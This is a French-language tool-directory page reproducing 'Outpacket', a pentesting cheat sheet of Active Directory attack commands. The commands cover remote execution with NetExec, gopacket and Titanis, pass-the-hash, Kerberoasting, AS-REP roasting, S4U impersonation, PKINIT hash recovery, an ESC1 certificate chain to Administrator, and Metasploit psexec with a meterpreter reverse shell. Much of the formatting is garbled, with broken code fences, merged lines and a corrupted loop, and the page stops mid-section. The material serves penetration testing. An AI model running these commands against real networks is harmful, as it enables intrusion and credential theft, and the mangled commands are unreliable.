Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outpacket — Cette antisèche fait correspondre les workflows impacket courants à leurs alternatives modernes. | Kitploit
Outils/GitHubGitHub/n00py/outpacket
Attaques de Mots de PasseMouvement LatéralCollecte d'InformationsPost-ExploitationTests d'IntrusionAuthentificationApprentissage et ÉducationRed TeamingRessources Organisées
GitHubn00py/outpacket

Outpacket

Cette antisèche fait correspondre les workflows impacket courants à leurs alternatives modernes.

30223il y a 2 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

📦 Outpacket

Marre d'impacket ? Cette antisèche fait correspondre les workflows impacket courants à leurs alternatives modernes


Sommaire

  • Référence rapide d'authentification
  • 1. Exécution à distance
    • Exécution WMI · wmiexec.py
    • Exécution DCOM · dcomexec.py
    • Exécution basée sur les services · smbexec.py · psexec.py
    • Exécution de tâches planifiées · atexec.py
    • Exécution en masse · wmiexec.py · psexec.py
  • 2. Kerberos
    • Demande de TGT · getTGT.py
    • Demande de TGS · getST.py
    • S4U2self / S4U2proxy · getST.py -impersonate
    • Kerberoasting · GetUserSPNs.py
    • AS-REP Roasting · GetNPUsers.py
    • ccache Roasting
    • Sondage pré-auth / type de chiffrement · GetNPUsers.py
    • Récupération du hash NT PKINIT
    • Renouvellement de ticket · getST.py -renew
    • Conversion de format de ticket · ticketConverter.py
    • Changement de mot de passe · changepasswd.py
    • Golden / Silver Ticket · ticketer.py
  • 3. SMB / Opérations sur les fichiers
    • Lister les partages · smbclient.py -shares
    • Parcourir / lister les fichiers · smbclient.py
    • Télécharger un fichier · smbclient.py get
    • Télécharger avec sémantique de sauvegarde
    • Téléverser un fichier · smbclient.py put
    • Créer / supprimer des répertoires et fichiers · smbclient.py
    • Lister les named pipes · smbclient.py
    • Pass the Hash — SMB · smbclient.py -hashes
    • SMB via SOCKS5 · proxychains smbclient.py
    • Énumérer les fichiers ouverts / sessions · netview.py
    • Timestomping de fichiers distants
    • Énumération des instantanés VSS ·
  • 4. Extraction d'identifiants
    • Analyse du minidump LSASS
    • Extraire les hashes SAM · secretsdump.py -sam
    • Extraire les secrets LSA · secretsdump.py -lsa
    • Extraire SAM + LSA ensemble · secretsdump.py
    • Extraction en masse SAM / LSA · secretsdump.py
    • Extraction NTDS via instantané VSS · secretsdump.py -use-vss
    • Extraction NTDS via IFM · wmiexec.py · smbclient.py
    • Extraction NTDS via wbadmin · wmiexec.py
    • Extraction NTDS via Diskshadow · wmiexec.py · smbclient.py
    • Extraction NTDS via Kerb-Key-List ·
  • 5. Énumération
    • Utilisateurs du domaine (SAMR) · samrdump.py · net.py
    • Groupes / alias locaux · net.py group · net.py localgroup
    • Force brute / résolution de SID · lookupsid.py
    • Points de terminaison RPC · rpcdump.py · rpcmap.py
    • Interroger WMI · wmiquery.py
    • Invocation de méthode WMI · wmiexec.py
    • Registre distant · reg.py
    • Descripteur de sécurité de clé de registre
    • Énumération des services · services.py
  • 6. Active Directory / LDAP
    • Énumérer les utilisateurs / ordinateurs AD · GetADUsers.py · GetADComputers.py
    • Énumération des GPO et approbations de domaine · ldapsearch · bloodyAD
    • Trouver les configurations de délégation · findDelegation.py
    • Ajouter un compte ordinateur · addcomputer.py
    • Ajouter un compte utilisateur · net.py user -add
    • Définir RBCD · rbcd.py
    • Abus de DACL · dacledit.py · owneredit.py
    • Modification d'attributs utilisateur (UAC) · net.py
  • 7. Coercition d'authentification · printerbug.py · dfscoerce.py
    • Schéma coercition + relais · ntlmrelayx.py · smbserver.py (capture)
  • 8. Certificats
    • Génération de PFX auto-signé
    • Énumération des modèles ADCS · netexec ldap -M adcs
    • ADCS ESC1
  • 9. Collecte exotique d'identifiants
    • certsync — Golden Cert + UnPAC the Hash
    • Clé de sauvegarde de domaine DPAPI — Déchiffrement massif d'identifiants

Référence rapide d'authentification

⚠️ Remarque sur le ccache de Titanis : -Tgt rejette actuellement les fichiers ccache générés par impacket (getTGT.py) et les outils similaires. Cause racine : impacket encode le principal de service du TGT en tant que NT_PRINCIPAL (type de nom 1) ; Titanis s'attend à NT_SERVICE_INSTANCE (type de nom 2) et ne reconnaît pas le ticket comme un TGT. Un correctif est en attente de la part du développeur de Titanis pour assouplir cette vérification. En attendant, utilisez Kerb asreq -TicketCache pour obtenir un TGT natif de Titanis et transmettez-le via -Tgt. Par ailleurs, -TicketCache ne fournit silencieusement aucun contexte d'authentification pour les fichiers ccache non natifs — utilisez -Tgt (avec un fichier généré par Titanis) à la place. Pour les fichiers ccache impacket/Metasploit, utilisez directement KRB5CCNAME + wmiexec.py -k / smbclient.py -k.


1. Exécution à distance

Exécution WMI```bash

impacket

wmiexec.py DOMAIN/jdoe:[email protected] "whoami"

gopacket — password (interactive semi-shell)

wmiexec DOMAIN/jdoe:[email protected]

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 -x "whoami"

Titanis

Wmi exec 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 "whoami"

impacket — pass-the-hash

wmiexec.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] "ipconfig"

gopacket — pass-the-hash

wmiexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

NetExec — pass-the-hash

netexec smb 192.168.1.10 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -x "ipconfig"

Titanis — pass-the-hash

Wmi exec 192.168.1.10 -UserName jdoe -UserDomain DOMAIN
-NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 "ipconfig"

impacket — Kerberos

wmiexec.py -k -no-pass DOMAIN/[email protected] "hostname"

gopacket — Kerberos (must use FQDN domain; FQDN hostname as target)

KRB5CCNAME=jdoe.ccache wmiexec -k -no-pass -dc-ip 192.168.1.1
DOMAIN/[email protected]

Titanis — Kerberos

Use the short hostname as target (for Kerberos SPN + application protocol);

use -ha for the actual TCP connection (IP or FQDN). FQDNs as the target fail

because the server expects the short hostname in the WMI activation request.

Wmi exec dc01 -ha 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Kdc 192.168.1.1 -Password Password123 "hostname"

Titanis — Kerberos with ccache TGT (Titanis-generated only; see TicketCache note)

Wmi exec dc01 -ha 192.168.1.10 -Tgt /tmp/jdoe.ccache -Kdc 192.168.1.1 "hostname"

root@kitploit:~
[↑ Retour à l'index](#index)

---

### DCOM Exec

> **Titanis `Dcom invoke` — procédure de recherche de CLSID :**
> - **La résolution des ProgID est locale.** Titanis résout les ProgID (par ex., `MMC20.Application`) à partir du registre de l'attaquant, et non de celui de la cible. Sous Linux, il n'y a pas de registre pour effectuer la résolution ; sous Windows, le CLSID de l'attaquant peut différer de celui de la cible. Utilisez toujours `Reg` pour rechercher le CLSID réel sur le système distant, puis transmettez le GUID brut.
> - **Parcours de chaîne de propriétés** (v0.9.20260320+) : Dcom invoke prend désormais en charge les chemins de propriétés en notation pointée comme `Document.ActiveView.ExecuteShellCommand`, en parcourant automatiquement la chaîne IDispatch. MMC20.Application fonctionne. ShellWindows `Item()` non — il requiert un argument d'index que la syntaxe de chaîne ne peut pas transmettre.```bash
# impacket
dcomexec.py DOMAIN/jdoe:[email protected] "whoami"

# impacket — pass-the-hash
dcomexec.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] "whoami"

# impacket — explicit CLSID (default is MMC20.Application; ShellWindows or ShellBrowserWindow also work)
dcomexec.py DOMAIN/jdoe:[email protected] "whoami" -object ShellWindows
dcomexec.py DOMAIN/jdoe:[email protected] "whoami" -object ShellBrowserWindow

# gopacket — password (interactive semi-shell; default object is ShellWindows)
dcomexec DOMAIN/jdoe:[email protected]

# gopacket — pass-the-hash with MMC20 object
dcomexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -object MMC20 DOMAIN/[email protected]

# gopacket — silent command execution (no interactive shell, output redirect required)
dcomexec -object MMC20 -silentcommand DOMAIN/jdoe:[email protected] \
  'cmd /c whoami > C:\Windows\Temp\out.txt'

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 -x "whoami" --exec-method dcomexec

# Titanis — MMC20.Application ExecuteShellCommand (requires v0.9.20260320+)
# 4 args: Command, Directory, Parameters, WindowState (7=minimized)
# ExecuteShellCommand does not return output — redirect to a file and retrieve via Smb2Client
Dcom invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  49B2791A-B1AE-4C90-9B8E-E860BA07F889 \
  Document.ActiveView.ExecuteShellCommand \
  cmd.exe 'C:\' '/c whoami > C:\Windows\Temp\out.txt' '7'

Smb2Client get -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  '\\192.168.1.10\C$\Windows\Temp\out.txt'

# Titanis — ShellBrowserWindow Navigate (launches exe, no args — works on older versions too)
Dcom invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  '{C08AFD90-F2A1-11D1-8455-00A0C91F3880}' Navigate \
  'C:\Windows\System32\cmd.exe'

# CLSID lookup SOP — look up on the remote system, then pass the raw GUID
# Step 1: Titanis Reg list cannot read unnamed (default) registry values — use wmiexec
wmiexec.py DOMAIN/jdoe:[email protected] \
  'reg query HKCR\\MMC20.Application\\CLSID /ve'
# → (Default)    REG_SZ    {49B2791A-B1AE-4C90-9B8E-E860BA07F889}

# Step 2 (optional): inspect the CLSID entry to confirm AppID/auth level
Reg list 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  'HKLM\SOFTWARE\Classes\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'

↑ Retour à l'index


Exécution basée sur les services (smbexec / psexec)

⚠️ smbexec.py contre les DC : smbexec.py échoue contre les contrôleurs de domaine avec STATUS_OBJECT_NAME_NOT_FOUND lors de l'ouverture de \pipe\svcctl. Les DC sont plus stricts concernant les paramètres d'ouverture des pipes nommés que les serveurs membres — les flags de smbexec sont rejetés là où ceux de services.py ne le sont pas. Utilisez services.py pour la gestion des services sur les DC, ou wmiexec.py pour l'exécution à distance.```bash

impacket — smbexec (interactive semi-shell; works against member servers)

smbexec.py DOMAIN/jdoe:[email protected]

gopacket — smbexec (interactive semi-shell; runs as NT AUTHORITY\SYSTEM)

smbexec DOMAIN/jdoe:[email protected]

gopacket — smbexec pass-the-hash

smbexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

impacket — psexec

psexec.py DOMAIN/jdoe:[email protected] cmd.exe

gopacket — psexec (uploads service binary, runs as NT AUTHORITY\SYSTEM)

psexec DOMAIN/jdoe:[email protected]

gopacket — psexec pass-the-hash

psexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

Metasploit — password

msf6 > use exploit/windows/smb/psexec msf6 exploit(psexec) > run rhosts=192.168.1.10 smbdomain=DOMAIN smbuser=jdoe
smbpass=Password123 payload=windows/x64/meterpreter/reverse_tcp lhost=

Metasploit — pass-the-hash

msf6 exploit(psexec) > run rhosts=192.168.1.10 smbdomain=DOMAIN smbuser=jdoe
smbpass=aad3b435b51404eeaad3b435b51404ee:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
payload=windows/x64/meterpreter/reverse_tcp lhost=

Titanis — create service, retrieve output, clean up

Scm create 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc
"C:\Windows\System32\cmd.exe /c whoami > C:\Windows\Temp\out.txt" -Start Smb2Client get \192.168.1.10\ADMIN$\Temp\out.txt out.txt -UserName jdoe -UserDomain DOMAIN -Password Password123 Scm stop 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc Scm delete 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc

root@kitploit:~
[↑ Retour à l'index](#index)

---

### Scheduled Task Exec

> **Remarque :** MS-TSCH n'est pas encore implémenté dans Titanis. Utilisez `Win32_ScheduledJob` via WMI comme solution de contournement, ou `atexec.py` pour une véritable sémantique MS-TSCH.```bash
# Titanis — create immediate scheduled task via Win32_ScheduledJob
Wmi invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  Win32_ScheduledJob Create \
  "Command='cmd /c whoami > C:\\Windows\\Temp\\out.txt',StartTime='********143000.000000+000'"

# Titanis — retrieve output and clean up
Smb2Client get \\192.168.1.10\C$\Windows\Temp\out.txt out.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123
Smb2Client rm  \\192.168.1.10\C$\Windows\Temp\out.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

# impacket — true MS-TSCH (creates, runs, and cleans up automatically)
atexec.py DOMAIN/jdoe:[email protected] "whoami > C:\Windows\Temp\out.txt"

# gopacket — MS-TSCH scheduled task exec (runs as NT AUTHORITY\SYSTEM)
atexec DOMAIN/jdoe:[email protected] whoami
# gopacket — pass-the-hash
atexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] whoami

# impacket — pass-the-hash
atexec.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] \
  "whoami > C:\Windows\Temp\out.txt"

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 -x "whoami" --exec-method atexec

↑ Retour à l'index


Exécution distante en masse sur plusieurs hôtes```bash

NetExec — spray across a subnet

netexec smb 192.168.1.0/24 -u jdoe -p Password123 -x "whoami"

NetExec — pass-the-hash spray

netexec smb 192.168.1.0/24 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -x "whoami"

Titanis — loop over a host list

while IFS= read -r host; do echo "=== $host ===" >> exec_results.txt wmi exec "$host" -UserName jdoe -UserDomain DOMAIN -Password Password123
"whoami /all" >> exec_results.txt 2>&1 done < hosts.txt

root@kitploit:~
[↑ Retour à l'index](#index)

---

## 2. Kerberos

### Demander un TGT```bash
# impacket — password
getTGT.py DOMAIN/jdoe:Password123 -dc-ip 192.168.1.1

# gopacket — password
getTGT -dc-ip 192.168.1.1 DOMAIN/jdoe:[email protected]

# minikerberos — password
minikerberos-getTGT "kerberos+password://DOMAIN\jdoe:[email protected]" --ccache jdoe.ccache

# Titanis — password (outputs kirbi)
Kerb asreq -UserName jdoe -Realm DOMAIN -Password Password123 \
  -Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi

# Metasploit
msf6 > use auxiliary/admin/kerberos/get_ticket
msf6 auxiliary(get_ticket) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL user=jdoe \
  password=Password123 action=GET_TGT

# impacket — NTLM hash
getTGT.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/jdoe -dc-ip 192.168.1.1

# gopacket — NTLM hash
getTGT -dc-ip 192.168.1.1 -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

# minikerberos — NTLM hash
minikerberos-getTGT "kerberos+ntlm-nt://DOMAIN\jdoe:[email protected]" --ccache jdoe.ccache

# Titanis — NTLM hash
Kerb asreq -UserName jdoe -Realm DOMAIN -NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  -Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi

# impacket — AES256
getTGT.py -aesKey 76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4 DOMAIN/jdoe

# minikerberos — AES256
minikerberos-getTGT \
  "kerberos+aes://DOMAIN\jdoe:76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4@192.168.1.1" \
  --ccache jdoe.ccache

# Titanis — AES256
Kerb asreq -UserName jdoe -Realm DOMAIN \
  -AesKey 76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4 \
  -Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi

# certipy — PKINIT
certipy auth -pfx jdoe.pfx -dc-ip 192.168.1.1 -domain DOMAIN.LOCAL

# minikerberos — PKINIT (also recovers NT hash via UnPAC)
minikerberos-getTGT \
  "kerberos+pfx://DOMAIN\jdoe:@192.168.1.1?pfx=jdoe.pfx&pfxpass=Password123" \
  --ccache jdoe.ccache

# Titanis — explicit RC4
Kerb asreq -UserName jdoe -Realm DOMAIN -Password Password123 \
  -EncTypes Rc4Hmac -Kdc 192.168.1.1 -OutputFileName jdoe-tgt-rc4.kirbi

↑ Retour à l'index


Demander un ticket de service (TGS)```bash

impacket

getST.py -spn cifs/fileserver.domain.local -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

Metasploit

msf6 auxiliary(get_ticket) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL user=jdoe
password=Password123 spn=cifs/fileserver.domain.local action=GET_TGS

minikerberos (requires existing ccache)

minikerberos-getTGS
"kerberos+ccache://DOMAIN\jdoe:@192.168.1.1?ccache=jdoe.ccache"
cifs/fileserver.domain.local fileserver.ccache

Titanis

Kerb tgsreq -Kdc 192.168.1.1 -Tgt jdoe-tgt.kirbi
cifs/fileserver.domain.local -OutputFileName jdoe-fileserver.kirbi

gopacket — password

getST -dc-ip 192.168.1.1 -spn cifs/fileserver.domain.local DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

getST -dc-ip 192.168.1.1 -spn cifs/fileserver.domain.local
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

root@kitploit:~
[↑ Retour à l'index](#index)

---

### S4U2self / S4U2proxy```bash
# impacket — S4U2self + S4U2proxy in one call
getST.py -spn cifs/target.domain.local -impersonate Administrator \
  -dc-ip 192.168.1.1 DOMAIN/svc:Password123

# impacket — pass-the-hash
getST.py -spn cifs/target.domain.local -impersonate Administrator \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -dc-ip 192.168.1.1 DOMAIN/svc

# minikerberos — S4U2self
minikerberos-getS4U2self \
  "kerberos+password://DOMAIN\svc$:[email protected]" \
  [email protected] s4u_self.ccache

# minikerberos — S4U2proxy
minikerberos-getS4U2proxy \
  "kerberos+password://DOMAIN\svc$:[email protected]" \
  cifs/target.domain.local s4u_self.ccache s4u_proxy.ccache

# Titanis — combined self+proxy
Kerb tgsreq -Kdc 192.168.1.1 -Tgt svc-tgt.kirbi \
  -S4UserName Administrator@DOMAIN cifs/target.domain.local \
  -OutputFileName admin-target.kirbi

# gopacket — S4U2self + S4U2proxy (combined)
getST -dc-ip 192.168.1.1 -spn cifs/target.domain.local -impersonate Administrator \
  DOMAIN/svc:[email protected]
# gopacket — pass-the-hash
getST -dc-ip 192.168.1.1 -spn cifs/target.domain.local -impersonate Administrator \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

↑ Retour à l'index


Kerberoasting```bash

impacket

GetUserSPNs.py -dc-ip 192.168.1.1 -request DOMAIN/jdoe:Password123

Metasploit

msf6 > use auxiliary/gather/get_user_spns msf6 auxiliary(get_user_spns) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL
user=jdoe pass=Password123

Metasploit — pass-the-hash

msf6 auxiliary(get_user_spns) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL
user=jdoe nthash=A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

NetExec

netexec ldap 192.168.1.1 -u jdoe -p Password123 --kerberoasting kerberoast.txt

minikerberos

minikerberos-kerberoast "kerberos+password://DOMAIN\jdoe:[email protected]"
kerberoast_hashes.txt

minikerberos — NTLM hash

minikerberos-kerberoast "kerberos+ntlm-nt://DOMAIN\jdoe:[email protected]"
kerberoast_hashes.txt

pypykatz

pypykatz kerberos spnroast "kerberos+password://DOMAIN\jdoe:[email protected]"
-o kerberoast_hashes.txt

pypykatz — NTLM hash

pypykatz kerberos spnroast
"kerberos+ntlm-nt://DOMAIN\jdoe:[email protected]"
-o kerberoast_hashes.txt

msldap

msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"

msldap> kerberoast kerberoast_hashes.txt

Titanis — enumerate SPNs, get TGT, loop tgsreq per SPN, extract hashes

Use Ldap query (not Ldap search) — requires -FollowReferrals on Linux

-OutputFields takes one field at a time on Linux; use -OutputStyle List to get multiple attrs

Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
"(servicePrincipalName=)" -OutputFields servicePrincipalName
-OutputStyle List -FollowReferrals 2>/dev/null
| awk '/^servicePrincipalName:/{print $2}' > spns.txt Kerb asreq -UserName jdoe -Realm DOMAIN -Password Password123
-Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi while IFS= read -r spn; do safe=$(echo "$spn" | tr '/:@' '') kerb tgsreq -Kdc 192.168.1.1 -Tgt jdoe-tgt.kirbi
-EncTypes Rc4Hmac "$spn" -OutputFileName "roast
${safe}.kirbi" done < spns.txt Kerb select -From roast_
.kirbi -Into kerberoast-all.ccache minikerberos-ccacheroast kerberoast-all.ccache

gopacket — password (requires -port 389; default 445 breaks LDAP enumeration)

GetUserSPNs -dc-ip 192.168.1.1 -port 389 -request DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

GetUserSPNs -dc-ip 192.168.1.1 -port 389 -request
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

root@kitploit:~
[↑ Retour à l'index](#index)

---

### AS-REP Roasting```bash
# impacket — no credentials required
GetNPUsers.py -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/

# Metasploit
msf6 > use auxiliary/gather/kerberos_enumusers
msf6 auxiliary(kerberos_enumusers) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL \
  user_file=/path/to/users.txt

# NetExec
netexec ldap 192.168.1.1 -u jdoe -p Password123 --asreproast asrep.txt

# pypykatz — no credentials required, userlist
pypykatz kerberos asreproast "kerberos+password://DOMAIN\@192.168.1.1" \
  --userlist users.txt -o asrep_hashes.txt

# pypykatz — authenticated, auto-discover targets via LDAP
pypykatz kerberos asreproast "kerberos+password://DOMAIN\jdoe:[email protected]" \
  --ldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]" -o asrep_hashes.txt

# minikerberos — userlist (no credentials required)
# syntax: minikerberos-asreproast <server_ip> <domain> [user | @userlist.txt]
minikerberos-asreproast 192.168.1.1 DOMAIN @users.txt

# minikerberos — NTLM hash auth (enumerate via LDAP, then roast)
# Pass individual username or @file; no URL arg — server+domain are positional
minikerberos-asreproast 192.168.1.1 DOMAIN @users.txt

# msldap (enumerate targets only — no hash capture)
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> asrep

# Titanis — find targets via LDAP, loop asreq
# Note: -FollowReferrals required on Linux — default behavior prints referral as INFO and returns no records
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(userAccountControl|=4194304)" \
  -OutputFields sAMAccountName -FollowReferrals > asrep_targets.txt
while IFS= read -r user; do
  kerb asreq -UserName "$user" -Realm DOMAIN \
    -Kdc 192.168.1.1 -EncTypes Rc4Hmac \
    -OutputFileName "asrep_${user}.kirbi" 2>/dev/null
done < <(awk '/sAMAccountName:/{print $2}' asrep_targets.txt)

# gopacket — authenticated LDAP enumeration + roast (requires -port 389)
GetNPUsers -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
GetNPUsers -dc-ip 192.168.1.1 -port 389 \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# gopacket — unauthenticated with user list
GetNPUsers -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/@192.168.1.1

↑ Retour à l'index


ccache Roasting (hors ligne)

Extrait les hashs $krb5tgs$ des fichiers ccache volés sans rien redemander.```bash

minikerberos

minikerberos-ccacheroast stolen.ccache

pypykatz

pypykatz kerberos ccache roast stolen.ccache

Feed output to: hashcat -m 13100 or john --format=krb5tgs

root@kitploit:~
[↑ Retour à l'index](#index)

---

### Sonde Pre-Auth / Enc-Type```bash
# kerbrute — enumerate valid accounts (no credentials)
kerbrute userenum -d DOMAIN --dc 192.168.1.1 users.txt

# pypykatz — enumerate valid accounts (no credentials)
pypykatz kerberos brute "kerberos+password://DOMAIN\@192.168.1.1" users.txt

# impacket — shows no-preauth accounts only
GetNPUsers.py -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/

# Metasploit — classifies valid / disabled / no-preauth
msf6 > use auxiliary/gather/kerberos_enumusers
msf6 auxiliary(kerberos_enumusers) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL \
  user_file=/path/to/users.txt verbose=true

# Titanis — single account probe
Kerb getasinfo -UserName jdoe -Realm DOMAIN -Kdc 192.168.1.1

# Titanis — bulk probe loop
while IFS= read -r user; do
  result=$(kerb getasinfo -UserName "$user" -Realm DOMAIN -Kdc 192.168.1.1 2>&1)
  if echo "$result" | grep -q "PRINCIPAL_UNKNOWN\|does not exist"; then
    echo "INVALID: $user"
  elif echo "$result" | grep -q "preauth.*false\|DONT_REQ_PREAUTH"; then
    echo "NO-PREAUTH: $user"
  else
    echo "VALID: $user"
  fi
done < users.txt

↑ Retour à l'index


PKINIT NT Hash Recovery (UnPAC)

Récupère le hash NT d'un compte via PKINIT après avoir obtenu un certificat.```bash

certipy — certificate → NT hash + TGT (most direct; also outputs ccache)

certipy auth -pfx targetuser.pfx -dc-ip 192.168.1.1 -domain DOMAIN.LOCAL

certipy — specify username explicitly (useful when UPN in cert differs)

certipy auth -pfx admin.pfx -username Administrator -domain DOMAIN.LOCAL
-dc-ip 192.168.1.1

minikerberos — certificate → NT hash only

minikerberos-getNTPKInit
"kerberos+pfx://DOMAIN\targetuser:@192.168.1.1?pfx=targetuser.pfx"
targetuser_nt.txt

PKINITtools — gettgtpkinit.py: PFX → TGT ccache + prints AS-REP enc key

python gettgtpkinit.py -cert-pfx targetuser.pfx -pfx-pass Password123
-dc-ip 192.168.1.1 DOMAIN/targetuser targetuser.ccache

PKINITtools — getnthash.py: TGT ccache + AS-REP enc key → NT hash

(run after gettgtpkinit.py; use the AS-REP key printed by that tool)

export KRB5CCNAME=targetuser.ccache python getnthash.py -key DOMAIN/targetuser

Full chain: certipy ESC1 → PFX → minikerberos UnPAC → NT hash → Titanis PTH

certipy req -username jdoe@DOMAIN -password Password123
-ca CA-NAME -template VulnerableTemplate
-upn [email protected]
-target ca.domain.local -out admin minikerberos-getNTPKInit
"kerberos+pfx://DOMAIN\Administrator:@192.168.1.1?pfx=admin.pfx" admin_nt.txt Wmi exec 192.168.1.10 -UserName Administrator -UserDomain DOMAIN -NtlmHash <recovered_nt> "whoami"

root@kitploit:~
[↑ Retour à l'index](#index)

---

### Renouvellement de ticket```bash
# impacket
export KRB5CCNAME=jdoe.ccache
getST.py -k -no-pass -renew -spn krbtgt/DOMAIN.LOCAL -dc-ip 192.168.1.1 DOMAIN/jdoe

# MIT Kerberos
kinit -R
krenew -v -b -t

# minikerberos
minikerberos-renewTGT "kerberos+ccache://DOMAIN\jdoe:@192.168.1.1?ccache=jdoe.ccache" jdoe-renewed.ccache

# Titanis
Kerb renew -Ticket jdoe-tgt.kirbi -OutputFileName jdoe-tgt-renewed.kirbi

# gopacket — renew TGT (KRB5CCNAME must point to an existing ccache)
KRB5CCNAME=jdoe.ccache getST -renew -spn krbtgt/DOMAIN.LOCAL -dc-ip 192.168.1.1 -k -no-pass DOMAIN/[email protected]

↑ Retour à l'index


Conversion du format de ticket```bash

impacket

ticketConverter.py jdoe.ccache jdoe.kirbi ticketConverter.py jdoe.kirbi jdoe.ccache

Metasploit

msf6 > use auxiliary/admin/kerberos/ticket_converter msf6 auxiliary(ticket_converter) > run inputpath=jdoe.ccache outputpath=jdoe.kirbi

Metasploit — inspect ticket (optionally decrypt)

msf6 > use auxiliary/admin/kerberos/inspect_ticket msf6 auxiliary(inspect_ticket) > run ticket_path=jdoe.ccache nthash=A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

minikerberos

minikerberos-ccache2kirbi jdoe.ccache minikerberos-kirbi2ccache jdoe.kirbi jdoe.ccache minikerberos-ccacheedit list jdoe.ccache minikerberos-ccacheedit delete jdoe.ccache

Titanis — merge multiple files

Kerb select -From jdoe.ccache Kerb select -From jdoe*.kirbi -Into all-jdoe.ccache

gopacket — ccache ↔ kirbi conversion

ticketConverter jdoe.ccache jdoe.kirbi ticketConverter jdoe.kirbi jdoe.ccache

gopacket — inspect ticket contents

describeTicket /path/to/jdoe.ccache describeTicket /path/to/jdoe.kirbi

root@kitploit:~
[↑ Retour à l’index](#index)

---

### Changer le mot de passe```bash
# impacket — user changes own password
changepasswd.py -protocol kpasswd DOMAIN/jdoe:[email protected] -newpass NewPass

# Titanis — change own password
Kerb changepw jdoe@DOMAIN 192.168.1.1 -Password OldPass NewPass

# impacket — admin resets another user's password
changepasswd.py -reset DOMAIN/admin:[email protected] -newpass NewPass -altuser DOMAIN/jdoe

# bloodyAD — admin resets another user's password
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass set password jdoe NewPass

# bloodyAD — pass-the-hash
